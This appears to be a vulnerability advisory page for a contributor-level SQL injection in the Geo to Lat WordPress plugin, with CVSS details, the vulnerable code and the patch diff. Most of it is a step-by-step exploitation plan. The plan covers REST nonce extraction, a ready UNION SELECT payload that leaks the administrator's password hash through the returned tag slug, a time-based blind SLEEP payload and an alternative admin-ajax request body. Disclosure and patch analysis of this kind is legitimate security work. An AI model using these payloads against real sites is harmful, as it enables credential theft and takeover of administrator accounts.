Geo to Lat <= 1.0.19 - Authenticated (Contributor+) SQL Injection
Description
The Geo to Lat plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.19 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.0.19What Changed in the Fix
Changes introduced in v1.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-32368 ## 1. Vulnerability Summary The **Geo to Lat** plugin (<= 1.0.19) is vulnerable to an **Authenticated SQL Injection** within the `ctl_sanitize_title` function. This function is hooked to the WordPress core `sanitize_title` and `sanitize_file_name` filte…
Show full research plan
Exploitation Research Plan - CVE-2026-32368
1. Vulnerability Summary
The Geo to Lat plugin (<= 1.0.19) is vulnerable to an **Authenticated SQL Injection** within the ctl_sanitize_title function. This function is hooked to the WordPress core sanitize_title and sanitize_file_name filters. When a new term (like a tag or category) is created via wp_insert_term, the plugin performs a database lookup to check for existing slugs. The user-provided term name is interpolated directly into a SQL query string without escaping or parameterization using $wpdb->prepare().
2. Attack Vector Analysis
- Endpoint: WordPress REST API (
/wp-json/wp/v2/tags) or AJAX (admin-ajax.phpwithaction=add-tag). - Hook:
add_filter('sanitize_title', 'ctl_sanitize_title', 9); - Vulnerable Parameter: The
namefield of a new term. - Authentication: Contributor level or higher (users with
edit_postscapability can typically create tags). - Preconditions: The plugin must be active. The injection only triggers when
wp_insert_termis present in the execution backtrace.
3. Code Flow
- Entry Point: An authenticated user (Contributor+) sends a request to create a new taxonomy term (e.g., a Post Tag).
- Core Processing: WordPress calls
wp_insert_term(). - Trigger: Inside
wp_insert_term, WordPress callssanitize_title($name)to generate a slug if one isn't provided. - Plugin Execution: The plugin's filter
ctl_sanitize_title($title)is invoked (Line 14 ingeo-to-lat.php). - Backtrace Check: The function iterates through
debug_backtrace()(Lines 29-35). Sincewp_insert_termis the caller,$is_termis set totrue. - Vulnerable Sink: The code executes
$wpdb->get_var("SELECT slug FROM {$wpdb->terms} WHERE name = '$title'")(Line 37). The$titlevariable (the term name) is directly concatenated into the query. - Data Leak: If the injection is a
UNION SELECT, the result of the subquery is assigned to$term. The function then returns$termas the sanitized title (Line 49). - Output: The leaked data is saved as the "slug" for the newly created term and returned in the API response.
4. Nonce Acquisition Strategy
This exploit targets the REST API, which requires a standard WordPress REST nonce for authenticated requests.
- Requirement: A Contributor-level user session.
- Action: Navigate to the WordPress Dashboard.
- Extraction:
- Use
browser_navigateto[TARGET_URL]/wp-admin/. - Use
browser_evalto extract the REST nonce from thewpApiSettingsobject:browser_eval("window.wpApiSettings.nonce")
- Use
- Alternative: The nonce is also typically found in the
_wpnonceparameter of the tag creation form in the UI.
5. Exploitation Strategy
We will use a UNION-based SQL Injection to extract the administrator's password hash from the wp_users table.
Step-by-Step Plan:
- Authenticate: Log in as a Contributor.
- Obtain Nonce: Extract the REST API nonce using
browser_eval. - Craft Payload:
- Base name:
InjectedTag - Payload:
InjectedTag' UNION SELECT (SELECT user_pass FROM wp_users WHERE ID=1)-- -
- Base name:
- Execute Request: Send a
POSTrequest to/wp-json/wp/v2/tags.- URL:
http://[TARGET]/wp-json/wp/v2/tags - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "name": "Exploit' UNION SELECT (SELECT user_pass FROM wp_users WHERE ID=1)-- -", "taxonomy": "post_tag" }
- URL:
- Observe Response: The response JSON will contain a
slugfield. Due to the logic inctl_sanitize_title(Line 49), the slug will contain the result of theUNION SELECT.
6. Test Data Setup
- Plugin: Ensure
geo-to-latis installed and active. - User: Create a user with the
contributorrole. - Environment: Ensure
WP_DEBUGis off (though not required, it keeps responses clean).
7. Expected Results
- HTTP Status: 201 Created.
- Response Body:
{ "id": [NEW_ID], "count": 0, "description": "", "link": "...", "name": "Exploit' UNION SELECT (SELECT user_pass FROM wp_users WHERE ID=1)-- -", "slug": "$P$Byouradminpasswordhash...", "taxonomy": "post_tag", ... } - The
slugfield will leak the password hash (typically starting with$P$or$wp$).
8. Verification Steps
- Check Database: Use WP-CLI to verify the created term:
wp term list post_tag --fields=name,slug - Compare: Verify that the
slugfor the injected tag matches the admin password hash:wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
- Time-based Blind SQLi: If the response does not return the slug (unlikely for REST API), use
SLEEP():- Payload:
' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
- Payload:
- AJAX Endpoint: Use
admin-ajax.phpif REST API is disabled.- Action:
add-tag - Body:
action=add-tag&screen=edit-post_tag&taxonomy=post_tag&tag-name=[PAYLOAD]&_wpnonce_add-tag=[NONCE]
- Action:
- Post Metadata: Since the function is also hooked to
sanitize_file_name, uploading a file with a malicious name as an authenticated user could also trigger the injection.
Summary
The Geo to Lat plugin for WordPress is vulnerable to SQL Injection via the ctl_sanitize_title function, which is hooked to the sanitize_title filter. When a new taxonomy term is created, the plugin executes a database query using the unsanitized term name, allowing authenticated attackers with contributor-level permissions to extract sensitive information using UNION-based techniques.
Vulnerable Code
// geo-to-lat.php L37 function ctl_sanitize_title($title) { global $wpdb; // ... (omitted Georgian translation table) $is_term = false; $backtrace = debug_backtrace(); foreach ( $backtrace as $backtrace_entry ) { if ( $backtrace_entry['function'] == 'wp_insert_term' ) { $is_term = true; break; } } $term = $is_term ? $wpdb->get_var("SELECT slug FROM {$wpdb->terms} WHERE name = '$title'") : '';
Security Fix
@@ -29,7 +29,7 @@ } } - $term = $is_term ? $wpdb->get_var("SELECT slug FROM {$wpdb->terms} WHERE name = '$title'") : ''; + $term = $is_term ? $wpdb->get_var($wpdb->prepare("SELECT slug FROM {$wpdb->terms} WHERE name = %s", $title)) : ''; if ( empty($term) ) { $title = strtr($title, apply_filters('ctl_table', $geo2lat)); if (function_exists('iconv')){
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access or higher must first obtain a valid WordPress REST API nonce from the dashboard. The attacker then sends a POST request to the /wp-json/wp/v2/tags (or any taxonomy) endpoint. The 'name' parameter in the JSON payload is crafted to include a SQL UNION SELECT statement designed to extract data, such as "Exploit' UNION SELECT (SELECT user_pass FROM wp_users WHERE ID=1)-- -". Because the plugin uses the 'sanitize_title' hook to check for existing slugs by name using direct string interpolation, the SQL query is modified. The plugin then returns the result of the query as the 'slug' for the newly created term, which is visible in the JSON response body to the attacker.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.